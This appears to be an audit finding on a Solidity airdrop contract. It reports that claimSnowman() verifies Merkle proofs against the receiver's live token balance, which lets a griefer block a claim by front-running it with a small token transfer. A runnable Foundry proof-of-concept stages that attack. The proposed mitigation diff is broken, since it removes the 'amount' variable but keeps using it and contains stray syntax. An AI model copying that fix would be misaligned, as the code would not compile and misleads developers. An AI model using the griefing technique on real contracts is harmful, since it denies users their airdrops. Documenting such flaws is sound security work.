Summary
The SnowmanAirdrop::claimSnowman() function relies on the caller’s live token balance to verify the Merkle proof. If the user's balance changes between proof generation and claim submission, the Merkle proof becomes invalid, preventing eligible users from claiming their airdrop Snowman tokens.
Description
The SnowmanAirdrop::claimSnowman() function is designed to validate Merkle proofs tied to a user’s Snow token balance. However, the amount used in proof verification is fetched live from the chain at the time of the transaction.
uint256 amount = i_snow.balanceOf(receiver);
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
This design assumes the user’s balance hasn’t changed since the proof was originally generated, which is a unsafe assumption. If the user buys more Snow Tokens, transfers, or receives additional Snow tokens after generating the proof has been generated, the Merkle leaf becomes incorrect, invalidating the entire claim — even though the user was eligible.
This results in eligible users not being able to claim their airdropped Snow tokens. Furthermore, this restricts their on-chain activity with the Snowman Protocol as they cannot purchase more SnowTokens as this would invalidate their claim.
An eligible users balance may change due to:
malicious intent: front-running the claim transaction to transfer tokens to the recipient
User buying more snow tokens
User transferring tokens in/out.
Affected Area
function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
if (receiver == address(0)) {
revert SA__ZeroAddress();
}
if (i_snow.balanceOf(receiver) == 0) {
revert SA__ZeroAmount();
}
if (!_isValidSignature(receiver, getMessageHash(receiver), v, r, s)) {
revert SA__InvalidSignature();
}
uint256 amount = i_snow.balanceOf(receiver);
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert SA__InvalidProof();
}
i_snow.safeTransferFrom(receiver, address(this), amount);
s_hasClaimedSnowman[receiver] = true;
emit SnowmanClaimedSuccessfully(receiver, amount);
i_snowman.mintSnowman(receiver, amount);
}
Impact
The impact of this vulnerability is eligible users cannot claim their airdroped Snowman NFTs. Furthermore, this vulnerability restricts users onchain activity with the Snowman Protocol as any activity that changes their balance, will invalidate their claims. e.g users cannot purchase more SnowTokens as this would mean being unable to claim their Snowman NFT.
The Impact is High due to the flawed logic breaking core protocol functionality by preventing airdrops to eligible users.
The Likelihood is also High as the value of the SnowMan NFT is based on the number of Snow tokens a user holds. There is a high chance a user would try and obtain more tokens in order to get a higher value NFT.
Proof of Concept
As proof of the validity of this issue, I have created a runnable PoC to demonstrate the issue.
Description
Alice is eligble for a NFT airdrop and is included in the merkle tree
Satoshi can claim on behalf of Alice
MaliciousUser Bob has snow tokens and sees Satoshi's transaction claim in the mempool.
They front-run the transaction by transferring 1 snow token to Alice meaning Alice now holds 2 Snow Tokens
Satoshi's transaction completes but the Merkle proof is invalidated as the claimSnowman function fetches the amount from live on-chain data which creates an invalid leaf
Alice cannot receive her free Snowman token unless she transfers the "excess" elsewhere
Code
Run with: forge test --mt testInvalidatingProofs
pragma solidity ^0.8.24;
import {Test, console2} from "forge-std/Test.sol";
import {Snow} from "src/Snow.sol";
import {Snowman} from "src/Snowman.sol";
import {SnowmanAirdrop} from "src/SnowmanAirdrop.sol";
import {MockWETH} from "src/mock/MockWETH.sol";
import {Helper} from "script/Helper.s.sol";
contract TestSnowmanAirdrop is Test {
Snow snow;
Snowman nft;
SnowmanAirdrop airdrop;
MockWETH weth;
Helper deployer;
bytes32 public ROOT = 0xc0b6787abae0a5066bc2d09eaec944c58119dc18be796e93de5b2bf9f80ea79a;
bytes32 alProofA = 0xf99782cec890699d4947528f9884acaca174602bb028a66d0870534acf241c52;
bytes32 alProofB = 0xbc5a8a0aad4a65155abf53bb707aa6d66b11b220ecb672f7832c05613dba82af;
bytes32 alProofC = 0x971653456742d62534a5d7594745c292dda6a75c69c43a6a6249523f26e0cac1;
bytes32[] AL_PROOF = [alProofA, alProofB, alProofC];
address alice;
uint256 alKey;
address maliciousUser = makeAddr("maliciousUser");
address satoshi;
function setUp() public {
deployer = new Helper();
(airdrop, snow, nft, weth) = deployer.run();
(alice, alKey) = makeAddrAndKey("alice");
satoshi = makeAddr("gas_payer");
vm.deal(maliciousUser, 10 ether);
}
function testInvalidatingProofs() public {
assert(snow.balanceOf(alice) == 1);
assert(nft.balanceOf(alice) == 0);
vm.prank(alice);
snow.approve(address(airdrop), 1);
bytes32 alDigest = airdrop.getMessageHash(alice);
(uint8 alV, bytes32 alR, bytes32 alS) = vm.sign(alKey, alDigest);
vm.startPrank(maliciousUser);
uint256 fee = snow.s_buyFee();
uint256 amountToBuy = 2;
snow.buySnow{value: amountToBuy * fee}(amountToBuy);
assertEq(snow.balanceOf(maliciousUser),amountToBuy);
snow.transfer(alice,amountToBuy);
assertEq(snow.balanceOf(alice),1 + amountToBuy);
vm.stopPrank();
vm.prank(satoshi);
vm.expectRevert();
airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS);
}
}
Mitigation
The recommended mitigation is to have the user pass in the expected amount in the function call instead of generating the amount using on-chain data.
In the claimSnowman function
+ function claimSnowman(address receiver, uint256 _amount, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{ //@dev: added the parameter `uint256 _amount`
if (receiver == address(0)) {
revert SA__ZeroAddress();
}
if(_amount == 0)revert SA__ZeroAmount();
if (i_snow.balanceOf(receiver) == 0) {
revert SA__ZeroAmount();
}
if (!_isValidSignature(receiver, getMessageHash(receiver, _amount), v, r, s)) { //@dev: utilzing the _amount for changed getMessageHash arguments
revert SA__InvalidSignature();
}
- uint256 amount = i_snow.balanceOf(receiver); //@dev: remove this as its the root issue
+ bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, _amount)))); // @dev: utilzing the _amount parameter
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) { /
revert SA__InvalidProof();
}
i_snow.safeTransferFrom(receiver, address(this), amount); // send tokens to contract... akin to burning
s_hasClaimedSnowman[receiver] = true;
emit SnowmanClaimedSuccessfully(receiver, amount);
i_snowman.mintSnowman(receiver, amount); //minting the snowman
}
In helper function getMessageHash
+ function getMessageHash(address receiver, uint256 _amount) public view returns (bytes32) { //@dev: added the parameter `uint256 _amount`
if (i_snow.balanceOf(receiver) == 0) {
revert SA__ZeroAmount();
}
- uint256 amount = i_snow.balanceOf(receiver); //@dev: remove. no longer needed
//@dev: implementing the _amount parameter
+ return _hashTypedDataV4(keccak256(abi.encode(MESSAGE_TYPEHASH, SnowmanClaim({receiver: receiver, +amount: _amount}))));
}